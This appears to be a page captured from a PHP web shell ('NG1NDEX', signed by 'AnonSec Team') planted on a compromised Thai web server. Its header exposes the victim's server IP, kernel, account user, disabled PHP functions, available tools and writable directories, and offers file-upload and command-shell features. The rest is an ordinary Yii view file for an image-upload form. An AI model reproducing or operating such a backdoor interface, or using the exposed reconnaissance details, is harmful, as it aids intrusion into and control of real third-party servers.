NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.143.215.114
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/views/admin/_newsTaxAddPicView.php
<?php
$this->beginWidget('CActiveForm', array(
    'action' => Yii::app()->controller->createUrl('NewsTaxAddPic', array('id' => $id)),
    'htmlOptions' => array('enctype' => 'multipart/form-data'),
));
?>
<table class="tableForm">
    <tr>
        <td width="67"></td>
        <td>
            <span class="detailTextMultiFile">สามารถทำการ Upload รูปได้ จำนวนหลายไฟล์</span>
        </td>
    </tr>
    <tr>
        <td class="tableFormRight"><label>ข้อมูลไฟล์</label></td>
        <td>
            <?php
            $this->widget('CMultiFileUpload', array(
                'model' => tbNewsPic::model(), // model ที่ติดต่อกับ table ภายใน database
                'attribute' => 'path_file', // ชื่อ fields ที่ต้องการ
                'accept' => 'jpg|jpeg|png', // extensions ที่สามารถ upload ได้
                'denied' => 'ต้องเป็นนามสกุล .jpg .jpeg .png เท่านั้น!', // คำที่ใช้เมื่อ extensions ของไฟล์ ไม่ถูกต้อง
                // 'max' => 4, // สามารถอัพไฟล์ได้เท่าไ                            
                'remove' => '[ลบออก]', // คำที่ใช่ในการลบ
                'duplicate' => 'ไฟล์ห้ามซ้ำ', // คำที่ใช้เมื่อไฟล์ซ้ำ
            ));
            ?>
        </td>
    </tr>
    <tr>
        <td></td>
        <td>
            <?php echo CHtml::submitButton('ตกลง', array('class' => 'btn btn-primary import-file')); ?>
        </td>
    </tr>
</table>
<?php $this->endWidget(); ?>

Anon7 - 2022
AnonSec Team